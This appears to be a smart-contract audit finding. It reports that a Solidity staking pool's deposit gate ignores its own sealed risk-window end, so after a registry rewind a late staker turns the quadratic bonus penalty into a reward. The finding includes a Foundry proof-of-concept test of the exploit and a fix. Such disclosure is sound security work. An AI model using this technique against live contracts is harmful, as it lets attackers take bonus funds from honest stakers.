FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Registry Rewind Bypasses Deposit Gate After Terminal Observation, Inverting the k=2 Bonus Curve

Author Revealed upon completion

Registry Rewind Bypasses Deposit Gate After Terminal Observation, Inverting the k=2 Bonus Curve

Description

  • The ConfidencePool uses a k=2 time-weighted formula score = stake × (T − entry)² to distribute the bonus pool, where T = riskWindowEnd. The quadratic weighting is designed to crush late entrants: the closer a staker enters to T, the smaller their score. The withdraw() function is hardened against upstream registry rewinds using the pool's own one-way riskWindowStart != 0 latch, with an explicit code comment: "gate on it so an upstream registry rewind cannot re-open withdrawals."

  • The symmetric riskWindowEnd != 0 latch is not applied to stake(). The _assertDepositsAllowed function is pure and gates exclusively on the live upstream registry state. When a benign registry rewind (e.g., DAO migration, registry repointing) reverts the live state from PRODUCTION back to UNDER_ATTACK or NEW_DEPLOYMENT, staking is silently re-enabled despite riskWindowEnd already being sealed. A late staker enters with entry > T, and because the O(1) algebraic expansion T²·a − 2T·(a·t) + (a·t²) computes a perfect square that is always non-negative, the "negative" distance past T produces a positive and growing score — inverting the penalty into a reward that allows the late staker to steal the majority of the bonus pool.

// src/ConfidencePool.sol::_assertDepositsAllowed()
function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION || state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
// @> Missing: if (riskWindowEnd != 0) revert StakingClosed();
// @> No check on pool's own sealed terminal timestamp — only live upstream state is checked.
// @> Compare with withdraw() which does gate on the pool's own riskWindowStart latch.
}
// src/ConfidencePool.sol::stake()
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
// @> Entry is floored at riskWindowStart but never capped at riskWindowEnd.
// @> When entry > T (= riskWindowEnd), the k=2 score inverts.
// src/ConfidencePool.sol::_bonusShare()
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> Algebraically: stake × (T − entry)² — a perfect square, always ≥ 0.
// @> When entry > T, the score grows with distance past T instead of shrinking.
// @> The expansion bypasses Solidity underflow protection that a direct (T - entry)
// @> subtraction would trigger.

Risk

Likelihood:

  • The protocol already explicitly defends withdraw() against registry rewinds using the one-way riskWindowStart latch, establishing that rewinds are a considered scenario — not a purely theoretical concern. The asymmetric absence of the equivalent riskWindowEnd guard on stake() is an oversight in an otherwise consistent defense pattern.

  • Registry rewinds occur as routine DAO administrative actions: registry migration, bug-fix repointing, or temporary state corrections. These are benign governance operations that produce the exact state sequence the exploit requires. The attacker is a third-party opportunist monitoring for such events, not the DAO itself.

Impact:

  • The late staker captures the majority of the bonus pool from honest at-risk stakers while bearing zero risk. With entry = T + 10 days and an honest staker at entry = T − 5 days, the attacker's score is (10d)² = 100d² vs (5d)² = 25d²4× the honest staker's share. The further past T the attacker enters, the larger their share grows (quadratic scaling).

  • Once entry > 2T − riskWindowStart, the attacker's score strictly dominates even the earliest possible staker (one who entered at riskWindowStart), enabling near-total drainage of the bonus pool. The attacker can stake and resolve in the same block after expiry, making the attack risk-free.

Proof of Concept

// Add to test/unit/ConfidencePool.riskWindow.t.sol
function testStakeAllowedAfterRegistryRewindBreaksK2() external {
// 1. Registry goes to UNDER_ATTACK at Day 10
vm.warp(BASE_TIMESTAMP + 10 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow(); // riskWindowStart = Day 10
// 2. Honest user stakes midway through the risk window (Day 15)
vm.warp(BASE_TIMESTAMP + 15 days);
_stake(alice, 100 * ONE);
// 3. Registry reaches terminal PRODUCTION at Day 20
vm.warp(BASE_TIMESTAMP + 20 days);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow(); // riskWindowEnd = Day 20 → T = Day 20
assertEq(pool.riskWindowStart(), BASE_TIMESTAMP + 10 days);
assertEq(pool.riskWindowEnd(), BASE_TIMESTAMP + 20 days);
// 4. Benign DAO action: registry migrates/repoints → live state reverts to UNDER_ATTACK
MockAttackRegistry rewound = new MockAttackRegistry();
rewound.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
safeHarborRegistry.setAttackRegistry(address(rewound));
// 5. Attacker stakes at Day 30 — succeeds because _assertDepositsAllowed
// only checks the live state (UNDER_ATTACK = allowed) and ignores riskWindowEnd
vm.warp(BASE_TIMESTAMP + 30 days);
_stake(bob, 100 * ONE);
_contributeBonus(carol, 1000 * ONE);
// 6. Registry reaches PRODUCTION again → pool resolves as SURVIVED, T = riskWindowEnd (Day 20)
vm.warp(BASE_TIMESTAMP + 30 days + 1 hours);
rewound.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.warp(pool.expiry());
pool.claimExpired(); // Auto-resolves SURVIVED, outcomeFlaggedAt = riskWindowEnd = Day 20
// 7. Both claim — Bob steals 4× Alice's bonus despite staking AFTER the risk window
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - aliceBefore - 100 * ONE;
uint256 bobBefore = token.balanceOf(bob);
vm.prank(bob);
pool.claimSurvived();
uint256 bobBonus = token.balanceOf(bob) - bobBefore - 100 * ONE;
// Alice: (Day20 − Day15)² = (5d)² = 25d² → score 25
// Bob: (Day20 − Day30)² = (−10d)² = 100d² → score 100
// Bob gets 4× Alice's bonus bearing zero risk.
assertEq(bobBonus, aliceBonus * 4);
}

Recommended Mitigation

Mirror the riskWindowStart latch on withdraw() by adding a riskWindowEnd check to _assertDepositsAllowed, permanently closing deposits once a terminal state has been observed:

- function _assertDepositsAllowed(IAttackRegistry.ContractState state) private pure {
+ function _assertDepositsAllowed(IAttackRegistry.ContractState state) private view {
if (
state == IAttackRegistry.ContractState.PROMOTION_REQUESTED
|| state == IAttackRegistry.ContractState.PRODUCTION
|| state == IAttackRegistry.ContractState.CORRUPTED
) {
revert StakingClosed();
}
+ // Mirror the riskWindowStart latch on withdraw(): once the pool has observed
+ // a terminal state, deposits are permanently closed regardless of live state.
+ if (riskWindowEnd != 0) revert StakingClosed();
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!